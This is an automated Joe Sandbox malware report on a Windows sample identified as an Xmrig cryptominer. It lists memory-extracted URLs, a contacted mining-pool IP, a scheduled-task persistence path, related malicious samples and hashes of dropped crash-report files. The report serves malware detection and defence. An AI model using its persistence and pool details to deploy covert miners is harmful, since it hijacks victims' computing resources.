                  https://xmrig.com/wizard%sconhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmpfalse
                    		unknown
                    http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000002.00000002.2291247009.00000151C5288000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://contoso.com/powershell.exe, 00000002.00000002.2367096703.00000151D50D0000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://nuget.org/nuget.exepowershell.exe, 00000002.00000002.2367096703.00000151D50D0000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://contoso.com/Licensepowershell.exe, 00000002.00000002.2367096703.00000151D50D0000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://contoso.com/Iconpowershell.exe, 00000002.00000002.2367096703.00000151D50D0000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://xmrig.com/docs/algorithmsconhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmpfalse
                      		unknown
                      https://xmrig.com/benchmark/%sconhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmpfalse
                        		unknown
                        https://aka.ms/pscore68powershell.exe, 00000002.00000002.2291247009.00000151C5061000.00000004.00000800.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        https://xmrig.com/wizardconhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmpfalse
                          		unknown
                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000002.00000002.2291247009.00000151C5061000.00000004.00000800.00020000.00000000.sdmp, conhost.exe, 00000007.00000002.2190959451.00000236C70F1000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://github.com/Pester/Pesterpowershell.exe, 00000002.00000002.2291247009.00000151C5288000.00000004.00000800.00020000.00000000.sdmpfalse
                            		unknown

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            45.76.89.70
                            		pool.hashvault.proUnited States
                            		20473AS-CHOOPAUStrue

                            General Information

                            Joe Sandbox version:41.0.0 Charoite
                            Analysis ID:1528492
                            Start date and time:2024-10-08 00:16:03 +02:00
                            Joe Sandbox product:CloudBasic
                            Overall analysis duration:0h 11m 3s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                            Number of analysed new started processes analysed:35
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Sample name:GcqJPBLD2Q.exe
                            renamed because original name is a hash value
                            Original Sample Name:831c0b3184feb755997ee1ec5e474ca8.exe
                            Detection:MAL
                            Classification:mal100.expl.evad.mine.winEXE@52/21@1/1
                            EGA Information:
                            • Successful, ratio: 77.8%
                            HCA Information:
                            • Successful, ratio: 99%
                            • Number of executed functions: 118
                            • Number of non-executed functions: 18
                            Cookbook Comments:
                            • Found application associated with file extension: .exe
                            • Override analysis time to 240000 for current running targets taking high CPU consumption

                            Warnings

                            • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
                            • Excluded IPs from analysis (whitelisted): 40.126.32.134, 40.126.32.136, 20.190.160.20, 20.190.160.14, 40.126.32.72, 40.126.32.68, 40.126.32.76, 20.190.160.22, 13.89.179.12
                            • Excluded domains from analysis (whitelisted): client.wns.windows.com, prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, onedsblobprdcus17.centralus.cloudapp.azure.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
                            • Execution Graph export aborted for target GcqJPBLD2Q.exe, PID 5160 because it is empty
                            • Execution Graph export aborted for target powershell.exe, PID 6684 because it is empty
                            • Not all processes where analyzed, report is missing behavior information
                            • Report size exceeded maximum capacity and may have missing behavior information.
                            • Report size getting too big, too many NtCreateKey calls found.
                            • Report size getting too big, too many NtOpenKeyEx calls found.
                            • Report size getting too big, too many NtQueryValueKey calls found.
                            • Report size getting too big, too many NtSetInformationFile calls found.
                            • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                            • VT rate limit hit for: GcqJPBLD2Q.exe

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            00:16:59Task SchedulerRun new task: services64 path: C:\Users\user\AppData\Local\Temp\services64.exe
                            18:16:55API Interceptor1x Sleep call for process: Cool.exe modified
                            18:16:57API Interceptor5387x Sleep call for process: conhost.exe modified
                            18:16:58API Interceptor41x Sleep call for process: powershell.exe modified
                            18:17:00API Interceptor3x Sleep call for process: services64.exe modified
                            18:17:02API Interceptor3x Sleep call for process: sihost64.exe modified
                            18:20:17API Interceptor1x Sleep call for process: WerFault.exe modified

                            Joe Sandbox View / Context

                            IPs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            45.76.89.70file.exeGet hashmaliciousXmrigBrowse
                              o9OIGsDt4m.exeGet hashmaliciousXmrigBrowse
                                System.exeGet hashmaliciousXmrigBrowse
                                  Update.exeGet hashmaliciousBlank Grabber, Redline Clipper, XmrigBrowse
                                    file.exeGet hashmaliciousXmrigBrowse
                                      file.exeGet hashmaliciousXmrigBrowse
                                        gutpOKDunr.exeGet hashmaliciousXmrigBrowse
                                          file.exeGet hashmaliciousXmrigBrowse
                                            SecuriteInfo.com.Win64.MalwareX-gen.11857.961.exeGet hashmaliciousXmrigBrowse
                                              SecuriteInfo.com.FileRepMalware.3253.21057.exeGet hashmaliciousXmrigBrowse

                                                Domains

                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                pool.hashvault.profile.exeGet hashmaliciousRDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, XmrigBrowse
                                                • 45.76.89.70
                                                file.exeGet hashmaliciousXmrigBrowse
                                                • 45.76.89.70
                                                PT54FFSL7ET46RASB.exeGet hashmaliciousLummaC Stealer, PureLog Stealer, Xmrig, zgRATBrowse
                                                • 142.202.242.43
                                                PT54FFSL7ET46RASB.exeGet hashmaliciousLummaC, PureLog Stealer, Xmrig, zgRATBrowse
                                                • 95.179.241.203
                                                o9OIGsDt4m.exeGet hashmaliciousXmrigBrowse
                                                • 95.179.241.203
                                                file.exeGet hashmaliciousXmrigBrowse
                                                • 95.179.241.203
                                                System.exeGet hashmaliciousFlesh Stealer, XmrigBrowse
                                                • 142.202.242.45
                                                System.exeGet hashmaliciousXmrigBrowse
                                                • 95.179.241.203
                                                Update.exeGet hashmaliciousBlank Grabber, Redline Clipper, XmrigBrowse
                                                • 45.76.89.70
                                                66dd2c2d3b88f_opera.exeGet hashmaliciousXmrigBrowse
                                                • 95.179.241.203

                                                ASNs

                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                AS-CHOOPAUSna.elfGet hashmaliciousMiraiBrowse
                                                • 66.42.126.39
                                                z3hir.x86.elfGet hashmaliciousMiraiBrowse
                                                • 44.172.145.8
                                                arm7-20241006-0950.elfGet hashmaliciousUnknownBrowse
                                                • 108.61.212.64
                                                81zBpBAWwc.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                • 155.138.145.67
                                                Setup.exeGet hashmaliciousUnknownBrowse
                                                • 45.32.1.23
                                                nJohIBtNm5.exeGet hashmaliciousLummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLineBrowse
                                                • 136.244.88.135
                                                OXrZ6fj4Hq.exeGet hashmaliciousNeshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWormBrowse
                                                • 108.61.168.124
                                                https://bit.ly/4eqfXtgGet hashmaliciousUnknownBrowse
                                                • 80.240.30.52
                                                https://trk.mail.ru/c/kruxy7?clickid=mtg66f14a9e6633b800088f731w&mt_campaign=ss_mark_se_ios&mt_creat%20ive=m-%20se23.mp4&mt_gaid=&mt_idfa=&mt_network=mtg1206891918&mt_oaid=&mt_sub1=ss_mark_se_ios&mt_sub2=mtg12068%2091918&mt_sub3=1809824272&mt_sub5=ss_mark_se_iosGet hashmaliciousUnknownBrowse
                                                • 95.179.215.24
                                                https://www.allegiantair.com/deals//smsgiveawayGet hashmaliciousUnknownBrowse
                                                • 207.148.0.16

                                                JA3 Fingerprints

                                                ⊘No context

                                                Dropped Files

                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sysTwrhjEKqxk.exeGet hashmaliciousXmrigBrowse
                                                  aA45th2ixY.exeGet hashmaliciousXmrigBrowse
                                                    1mqzOM6eok.exeGet hashmaliciousXmrigBrowse
                                                      updater.exeGet hashmaliciousXmrigBrowse
                                                        7QiAmg58Jk.exeGet hashmaliciousMetasploit, Meterpreter, XmrigBrowse
                                                          LnK0dS8jcA.exeGet hashmaliciousXmrigBrowse
                                                            file.exeGet hashmaliciousXmrigBrowse
                                                              SecuriteInfo.com.Win64.Evo-gen.13032.15171.exeGet hashmaliciousXmrigBrowse
                                                                file.exeGet hashmaliciousAmadey, BitCoin Miner, SilentXMRMinerBrowse
                                                                  S0FTWARE.exeGet hashmaliciousGo Injector, Vidar, XmrigBrowse

                                                                    Created / dropped Files

                                                                    C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_conhost.exe_bcf865d76fe77467e295cbb71eb4f98b4a9050eb_1260788c_f2492fca-a4a7-4d85-a745-6ca7b235bc24\Report.wer

                                                                    Download File
                                                                    Process:C:\Windows\System32\WerFault.exe
                                                                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):65536
                                                                    Entropy (8bit):1.0136144947722001
                                                                    Encrypted:false
                                                                    SSDEEP:96:UI3uFA2aFXsHh/zxymApQXIDcQCc6lcE4cw3uc1+HbHgrZ9n3g4sP8q9sOyPt2gr:Uguu2GXUz08hiIjVbkAzuiF3Z24lO86
                                                                    MD5:BE314ED4F74A781D5D17F40FBCE98303
                                                                    SHA1:54340D96581AD8252E4454068159D379BBA4548E
                                                                    SHA-256:CF4C0C4F7BC0819893166937DD0BF25DACAD1753294EB9EA05229DEBAE95387D
                                                                    SHA-512:B867E9B43213C90DFBF8E674F0A31695CC0368F9FABC849E68AC77F08040182A6A45F522CA12B0F67504179734298DDABCF47C4A2D8481DCA57FDAF5105E9DE3
                                                                    Malicious:false
                                                                    Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.1.3.2.1.2.6.3.9.9.2.4.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.1.3.2.1.4.8.8.9.9.2.2.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.2.4.9.2.f.c.a.-.a.4.a.7.-.4.d.8.5.-.a.7.4.5.-.6.c.a.7.b.2.3.5.b.c.2.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.c.c.a.4.4.8.e.-.7.2.d.3.-.4.d.b.2.-.a.3.5.1.-.2.f.4.7.9.e.1.2.f.0.f.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.c.o.n.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.C.O.N.H.O.S.T...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.7.c.-.0.0.0.1.-.0.0.1.5.-.a.2.3.f.-.c.2.a.4.0.6.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.5.2.a.7.2.7.4.a.0.b.4.f.9.4.9.3.6.3.2.0.6.0.f.e.2.5.9.9.3.a.2.e.f.2.4.f.e.8.2.7.!.c.o.n.h.o.s.t...e.x.e.....T.

                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER684F.tmp.dmp

                                                                    Download File
                                                                    Process:C:\Windows\System32\WerFault.exe
                                                                    File Type:Mini DuMP crash report, 15 streams, Mon Oct 7 22:20:14 2024, 0x1205a4 type
                                                                    Category:dropped
                                                                    Size (bytes):894684
                                                                    Entropy (8bit):3.8532657447784557
                                                                    Encrypted:false
                                                                    SSDEEP:6144:Ds6HXFXNz2ka8Cveh5YRdvlt5jAaqO3Qx:DzFdzKeh5YR/t5jAaqOQx
                                                                    MD5:7E09C6A66018CB3482B3B23591E93A32
                                                                    SHA1:C3D753FB80E440D4F5550FB98DECA03ED6EE73CB
                                                                    SHA-256:6E5D07E7B4B52391701BB787F97BE7BE3E2E676C264EAC3867F263C77D11EC8A
                                                                    SHA-512:7C9AE8901F166A3B3858E2643160AFE95F306004CB841A3B1DE703BD9B2B1F3E85223C77AEBA90F334CC8515C3001EF4F72C3C7C6D3C12563A5F67080805C217
                                                                    Malicious:false
                                                                    Preview:MDMP..a..... ........^.g............T...............h.......`............o..zU..........`.......8...........T...........P)...}..........P&..........<(..............................................................................eJ.......(......Lw......................T.......|....].g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER7001.tmp.WERInternalMetadata.xml

                                                                    Download File
                                                                    Process:C:\Windows\System32\WerFault.exe
                                                                    File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):6872
                                                                    Entropy (8bit):3.721733478754813
                                                                    Encrypted:false
                                                                    SSDEEP:96:RSIU6o7wVetb2iEYNE4UhQlyO5aMQUO89bXADNLSf/CGm:R6l7wVeJ2iEYNE4U12pDO89bXAVSf/dm
                                                                    MD5:7F38EFBEE58236BD3D41FAD187860ECB
                                                                    SHA1:8035FCF66BB6E79E9AE25CD0DEF24F59FE6E7448
                                                                    SHA-256:633B763CE8264EC29731C7D675ACE5CB3A34C68A40E4F42F24AFD7DACFF3008C
                                                                    SHA-512:8689807719EC09A755D5CFC9D88DBB22512D1257868208394255EE9C293DA5CC08568EB81EEE135834D7983C6CB00C94A583636B5E54D9B1F26392EEECC7D8D1
                                                                    Malicious:false
                                                                    Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.0.1.2.<./.P.i.

                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER7050.tmp.xml

                                                                    Download File
                                                                    Process:C:\Windows\System32\WerFault.exe
                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):4720
                                                                    Entropy (8bit):4.483092489339483
                                                                    Encrypted:false
                                                                    SSDEEP:48:cvIwWl8zsb3NJg771I9RWrWpW8VYdYm8M4JmnFGyq85r0Jx4dgsLd:uIjfDnI7GWa7VlJ7NJx4yyd
                                                                    MD5:58496B6DBFCCE7910CD38CCCA9C005BC
                                                                    SHA1:E1223FA9B9444B11073BE14D5314F31E1A04D385
                                                                    SHA-256:1CA28B1D69DFFFB9A91FA7C27428D74B2127958C7D5CC5CF780F21A05D7BBA67
                                                                    SHA-512:DD949EE41A08B6F7CB14402FC8490FCF78EDEDDBFA896CB65CF22E0BAE3043E49F1476434B31B041912562146827272ED5FACE1B9AC37B913E45948F6E8D7940
                                                                    Malicious:false
                                                                    Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533602" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER706D.tmp.csv

                                                                    Download File
                                                                    Process:C:\Windows\System32\svchost.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):77644
                                                                    Entropy (8bit):3.0606435719020597
                                                                    Encrypted:false
                                                                    SSDEEP:768:d0K7u0xDIQd4wbWzn1mn3OOQfxd5RibBPhgx/D5:2K7u0xDIQqNy3OOQfxd5ROBPm5D5
                                                                    MD5:47441003442829816E59A5B2DCECD786
                                                                    SHA1:358B22C02C0C4654DE0A73E79C7B9F693E4FCF9D
                                                                    SHA-256:5A7594F262A5C235B084C9D3E1FD476EA90E0510A78AFF518144048B200CFE46
                                                                    SHA-512:29D055F868A074FBBD0C8B9620576D2DAC638A58B0CD5A242D6179CFC60002E8ADBE997B899DB41B1AF1441467D6F01067C029DC3931F576D0D28FA72CD3703C
                                                                    Malicious:false
                                                                    Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER70CC.tmp.txt

                                                                    Download File
                                                                    Process:C:\Windows\System32\svchost.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):13340
                                                                    Entropy (8bit):2.695276354530462
                                                                    Encrypted:false
                                                                    SSDEEP:96:TiZYW72XHVk98YDYNoKTFdHxYEZYytCiOPaY4SLwcxODaSKV7MIlYIYwu:2ZDy/k6QvjIDaSKpMIl/Ywu
                                                                    MD5:F85DD3EC26DC0180F6CEA7E25FC7B5CF
                                                                    SHA1:302C38B9B6D4FA24D7C96585E952C42D1721E643
                                                                    SHA-256:80058868C5D7FB9811F59FB3BC909F7452FDCEF8A1944E855EA8868EC9A5AC1A
                                                                    SHA-512:33AC21D7AA96540BA9E57E69769A7F56296F48795FC0241C72FD3E19CC73AFB5F85BFA1D16AF0CFB36328605F08265B35C78A0C6ABF51F484C4F2ED79BBFB250
                                                                    Malicious:false
